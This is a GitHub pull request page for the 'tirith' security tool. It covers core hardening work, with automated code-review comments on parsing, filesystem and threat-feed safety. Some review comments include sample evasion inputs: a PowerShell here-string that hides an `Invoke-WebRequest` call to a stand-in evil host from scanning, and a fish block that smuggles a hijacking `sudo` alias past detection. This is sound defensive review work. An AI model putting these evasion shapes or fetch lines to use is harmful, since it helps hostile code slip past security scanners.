Skip to content

fix(security): DeepSec R2 1/2: core hardening queue - #187

Merged
sheeki03 merged 1 commit into
mainfrom
codex/deepsec-r2a-core-hardening
Aug 12, 2026
Merged

fix(security): DeepSec R2 1/2: core hardening queue#187
sheeki03 merged 1 commit into
mainfrom
codex/deepsec-r2a-core-hardening

Conversation

@sheeki03

@sheeki03 sheeki03 commented Aug 6, 2026

Copy link
Copy Markdown
Owner

Summary

DeepSec R2, part 1 of 2. The R2 queue shipped as a single 130-file commit (#180), over the review size limit, and is now two commits whose combined result is byte-identical to the original. This PR carries the core half (80 files): all tirith-core changes from the R2 queue (bounded manifest, OSV, and PDF work including the flate2 compressed-object-stream preflight that closes the lopdf bypass, command and policy parsing, filesystem and state locks, network and MCP budgets, feed and threatdb bounds), the coupled Cargo manifest, lockfile, deny.toml and cargo-audit waiver updates, and the four CLI files that consume changed core APIs (package, provenance, codespaces, devcontainer).

Verification

At this head, locally on macOS stable: cargo fmt --all --check clean, cargo check --workspace --all-targets with 0 errors, cargo test -p tirith-core --lib with 4396 passed, 0 failed, 2 ignored. The stack tip is byte-identical to the pre-split R2 tip, which carries the original verification.

Stack

PR part files
#177 remediation plan docs base
#183 R1 1/5: supervised execution, transactional installs, signing 96
#184 R1 2/5: network, threatdb, resolver, output boundaries 92
#185 R1 3/5: setup transactions, install provenance, script execution 76
#186 R1 4/5: execution state, supervision, policy core 90
#179 R1 5/5: parser rules, hooks, threatdb, release close-out 55
#187 R2 1/2: core hardening queue 80
#180 R2 2/2: CLI, license server, and CI hardening 50
#181 R3 reliability and convergence queue 62

Summary by CodeRabbit

  • New Features
    • Added stronger PDF, shell, dependency, URL, threat-intelligence, clipboard, and terminal-output detection.
    • Added Poetry lockfile support and improved repository/package verification.
    • Added checkpoint size budgets, permission preservation, safer restore, and empty-directory support.
    • Added public receipt views with sensitive local and URL information redacted.
  • Bug Fixes
    • Improved symlink, path, session, entropy, webhook, and concurrent-upload safety.
    • Added bounded processing and fail-closed behavior for incomplete or oversized analysis.
    • Improved shell parsing, hidden-content detection, URL normalization, and exact threat matching.
  • Documentation
    • Expanded security advisory guidance for compressed PDF streams.

Greptile Summary

The PR applies the core half of the DeepSec R2 hardening queue, adding bounded analysis, safer parsing and filesystem operations, stronger state synchronization, and updated security dependencies.

  • Corrects POSIX heredoc balancing by retaining whether the operator was << or <<-.
  • Routes checkpoint restore directory creation through descriptor-relative, no-follow filesystem traversal.
  • Adds resource bounds and fail-closed behavior across artifact, network, MCP, feed, and state-processing paths.

Confidence Score: 5/5

The PR appears safe to merge.

No blocking failure remains.

Important Files Changed

Filename Overview
crates/tirith-core/src/aliases.rs The heredoc balancer now distinguishes ordinary and tab-stripping heredocs, resolving the previously reported function-body truncation.
crates/tirith-core/src/checkpoint.rs Restore directory creation now delegates to descriptor-relative, no-follow traversal, addressing the previously reported ancestor-symlink race.
crates/tirith-core/src/util/contained_fs.rs Provides the component-wise no-follow directory traversal and creation used by checkpoint restoration.

Reviews (3): Last reviewed commit: "fix(security): integrate DeepSec R2 core..." | Re-trigger Greptile

Context used:

@coderabbitai

coderabbitai Bot commented Aug 6, 2026

Copy link
Copy Markdown

Review Change Stack

📝 Walkthrough

Walkthrough

This pull request adds bounded processing, fail-closed behavior, safer filesystem and persistence operations, expanded detection logic, output-analysis overflow reporting, and related CLI and test updates across the Rust core.

Changes

Security and analysis hardening

Layer / File(s) Summary
Bounded decoding and output analysis
crates/tirith-core/src/deobfuscate.rs, crates/tirith-core/src/extract.rs, crates/tirith-core/src/engine.rs, crates/tirith-core/src/rules/output.rs
Decode work, scanner evidence, UTF-8 handling, and terminal-style analysis now use explicit limits and report incomplete analysis.
Parser and detection updates
crates/tirith-core/src/aliases.rs, crates/tirith-core/src/ecosystem_scan.rs, crates/tirith-core/src/repo_mismatch.rs, crates/tirith-core/src/rules/*
Shell parsing, manifest scanning, repository verification, path analysis, threat intelligence, cloaking, clipboard, and hidden-content detection now cover additional cases and bounded failure paths.
Filesystem and persistence safety
crates/tirith-core/src/checkpoint.rs, crates/tirith-core/src/devcontainer_writer.rs, crates/tirith-core/src/persistence.rs, crates/tirith-core/src/taint.rs, crates/tirith-core/src/util/contained_fs.rs
Reads and writes now enforce containment, no-follow behavior, size limits, atomic publication, locking, permissions, and symlink protection.
Policy, network, and artifact limits
crates/tirith-core/src/policy.rs, crates/tirith-core/src/policy_client.rs, crates/tirith-core/src/threatdb*.rs, crates/tirith-core/src/artifact/*, crates/tirith-core/src/network/*
Policy projections, remote responses, threat databases, package artifacts, DNSBL checks, redirects, and lockfiles now apply bounded reads, parsing limits, canonicalization, or checked serialization.
Public output and identity handling
crates/tirith-core/src/receipt.rs, crates/tirith-core/src/scan.rs, crates/tirith-core/src/session*.rs, crates/tirith-core/src/audit_aggregator.rs, crates/tirith-core/src/webhook.rs
Diagnostics and persisted output sanitize display content, redact URL secrets, validate session IDs, and expose redacted receipt views.
Rule and registry wiring
crates/tirith-core/src/verdict.rs, crates/tirith-core/build.rs, crates/tirith-core/assets/data/rule_explanations.toml, crates/tirith-core/src/lsp_profiles.rs, crates/tirith-core/src/mcp/*, crates/tirith-core/tests/golden_fixtures.rs
OutputAnalysisOverflow is registered and propagated through rule explanations, profiles, MCP behavior, scoring, and fixture coverage.
CLI and release integration
crates/tirith/src/cli/*, crates/tirith-core/src/artifact/release_diff.rs, .cargo/audit.toml, deny.toml
CLI writes use canonical roots and contained atomic operations, package lookups require exact versions, release diffs retain direct findings, and advisory text documents compressed PDF object-stream preflight.

Estimated code review effort: 5 (Critical) | ~120 minutes

Possibly related PRs

Poem

A rabbit checks each stream with care,
Caps the bytes that wander there.
Safe paths, clean logs, and locks align,
Hidden tricks meet a fail-closed sign.
“Hop forward,” says the rabbit bright—
Bounded code keeps audits right.

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Docstring Coverage ✅ Passed Docstring coverage is 100.00% which is sufficient. The required threshold is 80.00%.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly identifies this as the first security hardening split and matches the broad scope of the core changes.
✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch

Comment @coderabbitai help to get the list of available commands.

@sheeki03

sheeki03 commented Aug 6, 2026

Copy link
Copy Markdown
Owner Author

@coderabbitai review

@sheeki03

sheeki03 commented Aug 6, 2026

Copy link
Copy Markdown
Owner Author

@greptileai review

@coderabbitai

coderabbitai Bot commented Aug 6, 2026

Copy link
Copy Markdown
⚠️ Action not completed

Review rate limited.

Note: CodeRabbit is an incremental review system and does not re-review already reviewed commits. This command is applicable only when automatic reviews are paused.

Comment thread crates/tirith-core/src/aliases.rs Outdated
Comment thread crates/tirith-core/src/checkpoint.rs
@sheeki03

sheeki03 commented Aug 6, 2026

Copy link
Copy Markdown
Owner Author

@coderabbitai review

@sheeki03

sheeki03 commented Aug 6, 2026

Copy link
Copy Markdown
Owner Author

@greptileai review

@coderabbitai

coderabbitai Bot commented Aug 6, 2026

Copy link
Copy Markdown
✅ Action performed

Review finished.

Note: CodeRabbit is an incremental review system and does not re-review already reviewed commits. This command is applicable only when automatic reviews are paused.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 17

Note

Due to the large number of review comments, Critical, Major severity comments were prioritized as inline comments.

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (10)
crates/tirith-core/src/aliases.rs (1)

752-781: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

Single-line fish blocks unbalance the nesting counter and swallow later definitions.

The counter inspects only the first word of each line. fish allows a complete block on one line, for example if true; echo hi; end. That line increments nesting, and its inline end is not the first word, so nesting never returns to 0. The function's real end then decrements instead of closing, the loop runs to EOF, closed stays false, and i jumps past every following line.

Effect: definitions after such a function are never parsed, so their findings are lost.

function f
    if true; echo hi; end
end
alias sudo='sudo evil-wrapper'

alias sudo is consumed and never classified.

Count block openers and terminators per line rather than per first word.

🐛 Proposed fix
                 while j < lines.len() {
                     let bl = strip_leading(lines[j]);
-                    let first_word = bl.split_whitespace().next().unwrap_or("");
-                    match first_word {
-                        "if" | "for" | "while" | "switch" | "begin" | "function" => {
-                            nesting += 1;
-                        }
-                        "end" => {
-                            if nesting == 0 {
-                                closed = true;
-                                break;
-                            }
-                            nesting -= 1;
-                        }
-                        _ => {}
-                    }
+                    // Count every block keyword on the line, in order, so a
+                    // single-line `if true; echo hi; end` nets out to zero.
+                    let mut line_closed = false;
+                    for word in bl.split(|c: char| c.is_whitespace() || c == ';') {
+                        match word {
+                            "if" | "for" | "while" | "switch" | "begin" | "function" => {
+                                nesting += 1;
+                            }
+                            "end" => {
+                                if nesting == 0 {
+                                    line_closed = true;
+                                    break;
+                                }
+                                nesting -= 1;
+                            }
+                            _ => {}
+                        }
+                    }
+                    if line_closed {
+                        closed = true;
+                        break;
+                    }

Note that nesting must not count a keyword inside a quoted string; if that matters, reuse a small tokenizer instead of split.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/aliases.rs` around lines 752 - 781, Update the
function-body scan around nesting so each line counts block openers and
terminators, including inline forms such as `if true; echo hi; end`, rather than
inspecting only the first word. Ensure keywords inside quoted strings are
ignored, reusing an available tokenizer or adding a small quote-aware tokenizer,
and close the function when the nesting balance returns to zero so later
definitions remain parseable.
crates/tirith-core/src/artifact/release_diff.rs (1)

138-153: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win

Render direct new-artifact findings in human output. ReleaseDiff::evaluate adds new_inspection_findings to verdict.findings, but render_diff_human_to renders only coverage gaps and anomalies. If both are empty, it prints “no release anomaly” even when RuleId::NativeImportExecutionChain blocks the release. Render the relevant verdict findings before the clean-result branch.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/artifact/release_diff.rs` around lines 138 - 153,
Update render_diff_human_to to render relevant verdict.findings, including
new_inspection_findings such as RuleId::NativeImportExecutionChain, before the
clean-result branch. Ensure the “no release anomaly” message is emitted only
when coverage gaps, anomalies, and applicable findings are all absent.
crates/tirith-core/src/audit_upload.rs (1)

138-146: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win

Take the spool lock before clearing the spool.

Line 140 calls fs::write(&path, "") outside with_spool_lock. This truncates the spool while another process can hold the lock and append. The event that another process just appended is then lost. This path also bypasses the suffix verification that rewrite_spool performs for every other clear.

Route the clear through the same lock, and prefer rewrite_spool(&path, &[]) so the truncation follows one code path.

🔒 Proposed fix
     let lines = enforce_retention(lines, max_events, max_bytes);
     if lines.is_empty() {
-        if let Err(e) = fs::write(&path, "") {
-            crate::audit::audit_diagnostic(format!(
-                "tirith: audit-spool: failed to clear spool: {e}"
-            ));
-        }
+        // Clear under the spool lock so a concurrent append is not destroyed.
+        rewrite_spool(&path, &[]);
         return;
     }
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/audit_upload.rs` around lines 138 - 146, Update the
empty-result branch in the audit upload flow to clear the spool through
with_spool_lock, using rewrite_spool(&path, &[]) instead of direct fs::write.
Preserve the existing diagnostic handling for clear failures and ensure the
suffix verification and locking behavior shared by rewrite_spool are used.
crates/tirith-core/src/threatdb.rs (1)

2196-2258: 🎯 Functional Correctness | 🟠 Major | 🏗️ Heavy lift

Suffix matching treats any two-label suffix as a controllable zone.

lookup_hostname_with_domain_scope walks parent suffixes and stops only when the remaining suffix has fewer than two labels. Two labels is not the registrable boundary for many suffixes. A feed indicator for a multi-label public suffix or a shared-hosting zone therefore matches every unrelated host beneath it. Examples: github.io, pages.dev, web.app, blogspot.com, co.uk, com.au. The hostname feeds in threatdb_feeds.rs are network-sourced, so one bad entry produces broad false positives that block unrelated traffic.

Two options:

  • Resolve the boundary with a public-suffix list, and never match at or above the registrable domain.
  • Restrict suffix matching to indicators that the feed explicitly marks as zone-scoped, and keep exact matching for everything else.

A second, separate effect: line 2252 stores the queried hostname in ThreatMatch.name, so the matched indicator is lost. An operator cannot tell whether random.bad.example was itself listed or matched through the bad.example parent zone. Carry the matched indicator alongside the queried name so findings and audit records keep that evidence.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/threatdb.rs` around lines 2196 - 2258, Update
lookup_hostname_with_domain_scope and lookup_hostname_exact to stop suffix
traversal at the actual registrable-domain boundary using the project’s
public-suffix resolution, preventing matches at or above multi-label
public/shared suffixes while preserving exact lookups. Propagate the matched
candidate indicator into ThreatMatch.name for suffix matches, while retaining
the queried hostname separately if the existing ThreatMatch model supports it;
ensure exact matches still report the exact indicator.
crates/tirith-core/src/threatdb_feeds.rs (1)

26-54: 🩺 Stability & Availability | 🟠 Major | ⚡ Quick win

All four feed parsers now discard the whole feed on one malformed row. The shared root cause is .flexible(false) combined with ? on every record: a single ragged or malformed row aborts the entire parse, so no indicator from that export is ingested and the threat database silently keeps stale content. Header validation should stay strict; per-record failures should be counted and capped instead.

  • crates/tirith-core/src/threatdb_feeds.rs#L26-L54: keep the url header check, but count malformed URLhaus records against a threshold instead of returning on the first record error.
  • crates/tirith-core/src/threatdb_feeds.rs#L57-L118: keep the ioc header check, and apply the same bounded malformed-record counter to ThreatFox.
  • crates/tirith-core/src/threatdb_feeds.rs#L151-L174: keep the url header check, and apply the same bounded malformed-record counter to PhishTank.
  • crates/tirith-core/src/threatdb_feeds.rs#L201-L282: apply the same bounded malformed-record counter to the DigitalSide MISP export, where trailing-field variance is common.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/threatdb_feeds.rs` around lines 26 - 54, Update the
feed parser logic so malformed records are counted against a shared bounded
threshold instead of propagating the first record error; retain strict header
validation and continue processing valid rows, including trailing-field variance
where required. Apply this to parse_urlhaus_csv in
crates/tirith-core/src/threatdb_feeds.rs lines 26-54, the ThreatFox parser at
lines 57-118, the PhishTank parser at lines 151-174, and the DigitalSide MISP
parser at lines 201-282, preserving each parser’s existing header checks and
hostname/IOC extraction behavior.
crates/tirith-core/src/session_warnings.rs (1)

722-724: 🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

Sanitize execution-history warning titles before persistence. record_fresh_correlation_warnings uses built-in titles, so it cannot receive custom-rule titles. The unsanitized path is derive_warning_prototypesmaterialize_draft_history; tirith warnings --json serializes the stored title directly. Sanitize finding.title before truncation.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/session_warnings.rs` around lines 722 - 724, Sanitize
each finding.title in the execution-history persistence path before truncating
or storing it, specifically within
derive_warning_prototypes/materialize_draft_history rather than
record_fresh_correlation_warnings. Ensure custom-rule titles are sanitized
before tirith warnings --json serializes the persisted warning title, while
preserving the existing built-in title behavior.
crates/tirith-core/src/deobfuscate.rs (1)

828-908: 🚀 Performance & Scalability | 🟡 Minor | ⚡ Quick win

Account for base64/hex overlap in MAX_DECODE_CANDIDATES.

Each hex run is also charged by base64_forms. Both decoders run across the original input and up to three normalized variants. Therefore, 33 distinct 16-character hex runs can exhaust the 256-candidate budget before all runs are decoded. The next candidate sets base64_truncated, which blocks prompt-injection checks. Size the cap for decoder/pass overlap, or charge each source region once.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/deobfuscate.rs` around lines 828 - 908, Update the
decode candidate budgeting used by decode_pass, base64_forms, and hex_forms so
overlapping base64 and hex recognition does not exhaust MAX_DECODE_CANDIDATES
prematurely across the original text and normalized variants. Either size the
cap to account for both decoder passes and all variants, or ensure each source
region is charged only once; preserve base64_truncated only for genuinely
unprocessed candidates.
crates/tirith-core/src/incident.rs (1)

146-163: 🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win

Sanitize IncidentState::reason at every human terminal sink

Human incident start, incident status, the already-active error path, and incident report print reason without terminal sanitization. Apply the existing display sanitizer before these writes. Keep raw values only in structured JSON output.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/incident.rs` around lines 146 - 163, Apply
display_sanitize_single_line to IncidentState::reason before every
human-readable terminal output in the incident start, status, already-active
error, and report paths. Update the relevant formatting methods, including
StartError::AlreadyActive, while preserving raw reason values only for
structured JSON serialization.
crates/tirith-core/src/path_audit.rs (1)

307-325: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick win

Windows resolution can return the same executable twice.

Line 310 builds dir.join(command) and line 311 pushes it when is_executable_file is true. On Windows, resolve_windows_candidates also returns the exact command name when the command carries an extension (line 370-371). For which_all_os("git.exe", …) both branches resolve the same file, so out receives two entries. NTFS is case-insensitive, so a listing entry GIT.EXE produces a second path that differs only in spelling.

which_all feeds duplicate-command detection, so a duplicate inside one directory can raise a false PathDuplicateCommandName finding.

Gate the generic push to non-Windows, and let resolve_windows_candidates own Windows resolution.

Proposed fix
     for dir in std::env::split_paths(path_value) {
-        let candidate = dir.join(command);
-        if is_executable_file(&candidate) {
-            out.push(candidate);
+        #[cfg(not(windows))]
+        {
+            let candidate = dir.join(command);
+            if is_executable_file(&candidate) {
+                out.push(candidate);
+            }
         }
         #[cfg(windows)]
         {
             out.extend(resolve_windows_candidates(&dir, command));
         }
     }
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/path_audit.rs` around lines 307 - 325, Update
which_all_os so the generic is_executable_file check and push run only on
non-Windows targets; on Windows, let resolve_windows_candidates exclusively
produce command paths, preserving its extension and case-insensitive resolution
behavior.
crates/tirith-core/src/mcp/resources.rs (1)

59-81: 🗄️ Data Integrity & Integration | 🟠 Major | ⚡ Quick win

Propagate the completeness policy through read_project_safety.

When scan.require_complete is enabled or a coverage gap resolves to GapAction::Fail, include completeness_policy_violated and set is_error to true. Extract the shared predicate and use it in read_content and call_scan_directory.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/mcp/resources.rs` around lines 59 - 81, Extract the
completeness-violation predicate from read_project_safety and reuse it in
read_content and call_scan_directory, treating enabled scan.require_complete or
any coverage gap mapped to GapAction::Fail as a violation. Include
completeness_policy_violated in each affected response and set is_error to true
when the predicate is satisfied, while preserving existing behavior for
compliant scans.
🟡 Minor comments (18)
crates/tirith-core/src/aliases.rs-572-591 (1)

572-591: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

Consider PowerShell here-strings in the PowerShell dialect.

The balancer models POSIX heredocs, so a } inside <<EOF no longer ends a body early. The PowerShell dialect has the equivalent construct: @"…"@ and @'…'@ here-strings. A } inside a PowerShell here-string still decrements depth, so the same early-termination shape that repo-0242 closed for POSIX stays open for PowerShell function bodies.

Example that ends collection at the here-string brace:

function Get-Thing {
  $t = @"
}
"@
  Invoke-WebRequest https://evil.invalid/x
}

The trailing Invoke-WebRequest then falls outside the scanned body, so body_network_tool never sees it.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/aliases.rs` around lines 572 - 591, Update the
PowerShell handling in the character-processing match around the existing
backtick and quote cases to recognize here-string delimiters @“ and @‘, track
when parsing is inside a PowerShell here-string, and ignore braces until the
matching closing “@ or ‘@ delimiter. Preserve normal PowerShell quote and
brace-depth behavior outside here-strings so function bodies continue scanning
through the entire here-string content.
crates/tirith-core/src/mcp/response_inspect.rs-172-181 (1)

172-181: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win

Restore the budget with a Drop guard so it cannot leak across responses.

The wrapper clears URI_SCREEN_BUDGET only on the normal return path. Two consequences:

  • If inspect_response_inner panics, the thread keeps a partially consumed budget. A pooled thread that serves a later response can then emit too many URIs to validate in one response for a response that contains few URLs.
  • A nested inspect_response call on the same thread resets the outer budget on entry and clears it on exit, so the remainder of the outer scan runs unbounded.

An RAII guard restores the previous value in both cases.

🛡️ Proposed fix
 ) -> InspectOutcome {
     // repo-0296: every http(s) string screened below goes through blocking DNS
     // validation. Cap the number of resolutions per response so a URL-dense
     // hostile reply cannot stall the sole upstream-response path; overflowing
     // URIs are violations (fail-closed), not skips.
-    URI_SCREEN_BUDGET.with(|b| b.set(Some(MAX_URI_SCREENS_PER_RESPONSE)));
-    let outcome = inspect_response_inner(result, kind, ctx);
-    URI_SCREEN_BUDGET.with(|b| b.set(None));
-    outcome
+    let _budget = UriScreenBudgetGuard::activate();
+    inspect_response_inner(result, kind, ctx)
 }
+
+/// Restores the previous budget on drop, so a panic or a nested
+/// `inspect_response` cannot leave a stale budget on this thread.
+struct UriScreenBudgetGuard(Option<usize>);
+
+impl UriScreenBudgetGuard {
+    fn activate() -> Self {
+        let previous =
+            URI_SCREEN_BUDGET.with(|b| b.replace(Some(MAX_URI_SCREENS_PER_RESPONSE)));
+        Self(previous)
+    }
+}
+
+impl Drop for UriScreenBudgetGuard {
+    fn drop(&mut self) {
+        URI_SCREEN_BUDGET.with(|b| b.set(self.0));
+    }
+}
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/mcp/response_inspect.rs` around lines 172 - 181,
Update the response-inspection wrapper around inspect_response_inner to use an
RAII Drop guard that captures the existing URI_SCREEN_BUDGET value, sets
MAX_URI_SCREENS_PER_RESPONSE for the current response, and restores the captured
value on scope exit. Ensure restoration occurs during panics and nested
inspect_response calls, preserving any outer budget rather than unconditionally
clearing it.
crates/tirith-core/tests/golden_fixtures.rs-857-863 (1)

857-863: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

Add unit tests for OutputAnalysisOverflow.

rules/output.rs::check emits this rule only when OutputScanResult.dropped_hits > 0. Existing overflow tests cover OutputTruncatedEscapeSequence and the 16 KiB OSC payload cap, not the 4096-hit retention cap. Add tests that produce 4097 hits and assert dropped_hits > 0 and RuleId::OutputAnalysisOverflow.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/tests/golden_fixtures.rs` around lines 857 - 863, Add unit
tests for the 4096-hit retention cap in the output-analysis tests, generating
4097 scanner hits and asserting that OutputScanResult.dropped_hits is greater
than zero and the emitted rule is RuleId::OutputAnalysisOverflow. Keep the
existing OutputTruncatedEscapeSequence and 16 KiB OSC payload tests unchanged,
and remove output_analysis_overflow from the golden-fixture exclusion list once
covered.
crates/tirith-core/src/session.rs-204-223 (1)

204-223: 🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win

Read-after-write narrows the create race; it does not close it, so soften the claim or take the store lock.

The comment states that every concurrent first invocation converges on one session. Two processes can still diverge: process A renames its file, process A re-reads and sees its own ID, then process B renames and re-reads and sees B's ID. A returns A's ID and B returns B's ID.

This PR already adds the correct primitive for this class of race in taint.rs: with_store_lock takes an exclusive fs2 lock on a sibling .lock file around the read-modify-write. Reuse that pattern here, or restate the comment as best-effort convergence.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/session.rs` around lines 204 - 223, Update the session
creation logic around the read-after-write block so concurrent first invocations
cannot return divergent IDs: reuse the existing taint.rs with_store_lock pattern
to hold an exclusive store lock across the winner read-modify-write sequence. If
locking is not applied, soften the comment’s claim to describe best-effort
convergence rather than guaranteeing every invocation converges.
crates/tirith-core/src/deobfuscate.rs-415-433 (1)

415-433: 🎯 Functional Correctness | 🟡 Minor | ⚡ Quick win

Padding in the final window breaks the selected engine, so an over-window padded run loses its tail.

Engine selection runs on the first window only. For a run longer than MAX_BASE64_VALIDATE_LEN, the first window contains no =, so STANDARD fails and STANDARD_NO_PAD is selected. The final window then carries the = padding, STANDARD_NO_PAD rejects it, and decode_base64_windowed breaks with truncated = true. The decoded tail is dropped, and the doc claim that "the COMPLETE decoded stream is recovered whenever it fits the budget" does not hold for padded runs.

The flag keeps the result fail-closed, so this is not a silent miss. Decode the final window with the padding-tolerant variant of the selected alphabet.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/deobfuscate.rs` around lines 415 - 433, Update
try_decode_base64 and decode_base64_windowed so an engine selected from the
initial window can decode a final window containing padding. Preserve the
selected alphabet while switching to its padding-tolerant variant for the final
chunk, ensuring padded runs recover their complete decoded stream when within
max_decoded and retain fail-closed truncation behavior otherwise.
crates/tirith-core/src/threatdb_api.rs-674-684 (1)

674-684: 🚀 Performance & Scalability | 🟡 Minor | ⚡ Quick win

Clean URLs are never cached, so the comment overstates the behavior and every scan re-queries them.

Line 724 states that the per-URL outcome is cached for "positive match or confirmed-clean empty response". store_cache is called only for entries drained from parsed.matches. A URL with no match is never written, so it is re-sent to the paid API on every scan. That is the quota spend repo-0348 aims to bound.

Two related points at the cache-hit path:

  • Line 678 uses matches.first() and reports one threat type, while the network path at line 738 reports every match. The two paths give different findings for the same URL.
  • The cache key and the reported URL both come from m.threat_entry.url, which the API echoes back. If Safe Browsing returns a canonicalized form, the entry is stored under a key that the next request URL does not produce, so the cache never hits.

Either cache negative results explicitly and key both paths on the request URL, or correct the comment.

Also applies to: 724-739

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/threatdb_api.rs` around lines 674 - 684, Update the
Safe Browsing cache flow around load_cache and store_cache so confirmed-clean
URLs are cached explicitly and reused on subsequent scans. Key cache entries and
reported results by the original request URL rather than the API’s echoed
threat_entry.url, and make cache-hit handling report every cached match
consistently with the network path instead of only matches.first().
crates/tirith-core/src/threatdb_api.rs-866-883 (1)

866-883: 🔒 Security & Privacy | 🟡 Minor | ⚡ Quick win

The URL path is transmitted unchanged, so the stated protection for reset links is incomplete.

The doc states that password-reset links and bearer tokens are not transmitted. Only userinfo, query, and fragment are removed. Reset tokens, invite tokens, and webhook secrets are frequently carried in the path (for example https://host/reset/<token> or a chat webhook path). Those still reach the third party and are written to the on-disk cache.

Safe Browsing needs the path to evaluate a URL, so removing it is not an option. State the residual exposure in the doc comment, or add an operator control that limits submissions to the origin.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/threatdb_api.rs` around lines 866 - 883, Update the
privacy_scrub_url documentation to explicitly state that sensitive tokens
embedded in the URL path remain exposed to the Safe Browsing service and on-disk
cache, while preserving the path because Safe Browsing requires it. Do not claim
that all password-reset, invite, or webhook secrets are protected unless an
existing operator-controlled origin-only submission option is implemented.
crates/tirith-core/src/devcontainer_writer.rs-28-46 (1)

28-46: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

The doc comment overstates what regular_file_no_follow checks.

The comment states that "every component of its parent directory is likewise not a symlink". The code checks only the immediate parent through one symlink_metadata call. An intermediate directory higher in the path is not inspected here. Containment for the write path comes from ContainedAtomicFile, not from this helper. Correct the comment so a later reader does not rely on a guarantee this function does not provide.

📝 Proposed doc fix
 /// True only when `path` exists as a REGULAR file reached without following a
-/// final symlink, and every component of its parent directory is likewise not
-/// a symlink (repo-0271). `is_file()` follows links and would accept a
-/// repository-planted redirect outside the project.
+/// final symlink, and its IMMEDIATE parent is a real directory rather than a
+/// symlink (repo-0271). `is_file()` follows links and would accept a
+/// repository-planted redirect outside the project. Full-path containment is
+/// enforced by `ContainedAtomicFile` on the write path, not here.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@crates/tirith-core/src/devcontainer_writer.rs` around lines 28 - 46, Correct
the doc comment for regular_file_no_follow to state that it rejects symlinks for
the file itself and checks only its immediate parent directory, without claiming
that all ancestor components are validated. Keep the implementation unchanged
and note that broader write-path containment is provided by ContainedAtomicFile.
crates/tirith/src/cli/devcontainer.rs-108-112 (1)

108-112: 📐 Maintainability & Code Quality | 🟡 Minor | ⚡ Quick win

The canonicalize fallback contradicts the containment comment.

Line 108 states that containment is proven against the canonical workspace root. Line 109 falls back to the non-canonical path when canonicalize fails, and the failure is not reported. The user then gets containment proven against an unresolved path with no diagnostic. ContainedAtomicFile still validates the destination, so this is not an escape, but the operator loses the signal.

Report the failure, or fail the command when the workspace root cannot be resolved.

🛡️ Proposed change
-    // Containment is proven against the canonical workspace root (repo-0376).
-    let cwd = std::fs::canonicalize(&cwd).unwrap_or(cwd);
+    // Containment is proven against the canonical workspace root (repo-0376).
+    let cwd = match std::fs::canonicalize(&cwd) {
+        Ok(canonical) => canonical,
+        Err(e) => {
+            eprintln!(
+                "tirith devcontainer inject: cannot canonicalize {}: {e}",
+                cwd.display()
+            );
+            return 1;
+        }
+    };
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

